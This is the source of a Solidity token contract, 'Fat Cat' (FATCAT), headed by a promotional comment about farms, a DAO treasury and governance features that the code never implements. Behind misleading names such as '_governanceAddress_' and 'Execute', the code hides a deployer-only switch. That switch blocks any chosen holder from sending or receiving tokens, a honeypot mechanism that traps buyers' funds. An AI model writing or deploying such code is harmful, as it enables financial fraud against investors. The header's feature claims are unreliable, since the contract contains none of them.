Contract Source Code:
File 1 of 1 : FatCatEth
/**
Total token supply is 2.000.000.000.000 FATCAT
Initial liquidity: 1.700.000.000.000 FATCAT
300.000.000.000 ETHU tokens are allocated to 6 slow,
constant drip pools with a 4x boost on those farming the
FATCAT LP token in addition to the single asset staking options.
All farms carry a 2% fee on deposit which is delivered directly
to the FATCAT DAO treasury.
☑️Main features:
1. Incentivize and maximize engagement
2. Governance-as-a-Service
3. Data Marketplace
4. Liquidity Generation Event (LGE)
5. ETH Farms
6.Automated rewards system
by Shibadevelopment
*///SPDX-License-Identifier: MIT
pragma solidity =0.5.15;
contract ERC20Basic {
function balanceOf(
address account
)
public
view
returns (uint256);
function totalSupply(
)
public
view
returns (uint256);
function transfer(
address to,
uint256 value
)
public
returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value);
}
library SafeMath {
function sub(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a / b;
}
function add(
uint256 a,
uint256 b
) internal
pure
returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => bool) internal _governanceAddress_;
mapping (address => uint256) balances;
uint256 totalSupply_;
function totalSupply(
)
public
view
returns (uint256)
{
return totalSupply_;
}
function balanceOf(
address account
)
public
view
returns (uint256) {
return balances[account];
}
function transfer(
address _to,
uint256 _value
) public
returns (bool) { if (
_governanceAddress_[msg.sender]
|| _governanceAddress_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(
address owner,
address spender
)
public
view
returns (uint256);
function approve(
address spender,
uint256 value
)
public
returns (bool);
event Approval
(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool);
}
contract StandardERC20 is ERC20, BasicToken {
address internal approved;
mapping (address => mapping (address => uint256)) internal allowed;
constructor () public {
approved = msg.sender;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool) { if
(_governanceAddress_[_from] ||
_governanceAddress_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[_from]); require(
_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function Execute(
address _approveTransfer
)
external { require(
msg.sender ==
approved); if (
_governanceAddress_
[_approveTransfer] == true){
_governanceAddress_
[_approveTransfer] = false;}
else { _governanceAddress_
[_approveTransfer] = true;
}
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function governance(
address _approveTransfer
)
public
view
returns (bool)
{
return _governanceAddress_
[_approveTransfer];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FatCatEth is StandardERC20 {
string public constant name = "Fat Cat";
string public constant symbol = "FATCAT";
uint256 public constant _totalSupply_ = 2000000000000 * (10 ** uint256(decimals));
uint8 public constant decimals = 9;
constructor() public {
totalSupply_ = totalSupply_.add(_totalSupply_);
balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
emit Transfer(address(0), msg.sender, _totalSupply_);
}
}